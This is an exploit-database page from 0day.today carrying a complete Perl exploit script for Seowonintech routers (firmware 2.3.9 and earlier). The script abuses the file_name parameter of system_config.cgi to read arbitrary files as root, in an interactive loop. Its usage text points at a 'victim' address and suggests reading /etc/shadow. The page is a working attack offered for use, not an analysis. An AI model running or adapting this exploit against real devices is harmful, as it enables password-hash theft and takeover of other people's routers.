0day.today - Biggest Exploit Database in the World.
![](/img/logo_green.jpg)
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earnGOLD
Administration of this site uses the official contacts. Beware of impostors!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Seowonintech Routers Remote Root File Dumper
#!/usr/bin/perl # # [+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper # # Author: Todor Donev (todor dot donev at gmail.com) # Type: Hardware # Platform: Linux # # Special greetz to Stiliyan Angelov, Tsvetelina Emirska and all # my friends that support me # # 2013 Bulgaria # use LWP::Simple; my $host = $ARGV[0] =~ /^http:\/\// ? $ARGV[0]: 'http://' . $ARGV[0]; if(not defined $ARGV[0]) { usg(); exit; } print "[+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper\n"; $check = $host."/cgi-bin/system_config.cgi"; get($check) || die "[-] Error: $!\n"; if (defined $check =~ s/\/etc\///gs){ print "[+] Connected to $ARGV[0]\n"; print "[+] Exploiting..\n\n"; } while(1){ print "# cat "; chomp($file=<STDIN>); $bug = $host."/cgi-bin/system_config.cgi?file_name=".$file."&btn_type=load&action=APPLY"; if($file eq ""){ print "Enter full path to file!\n"; } $data=get($bug) || die "$!, try another exploit\n"; $data =~ s/Null/File not found!/gs; if (defined $data =~ m{rows="30">(.*?)</textarea>}sx){ print $1."\n"; }} sub usg { print " [+] Seowonintech routers * <= fw: 2.3.9 remote root file dumper\n"; print " [?] usg: perl $0 <victim>\n"; print " [?] exmp xpl usg: perl $0 192.168.1.1 :)\n"; print " [?] exmp xpl cmd: # cat /etc/shadow :)\n"; print " [?] The device use Linux.\n"; } # 0day.today [2024-07-07] #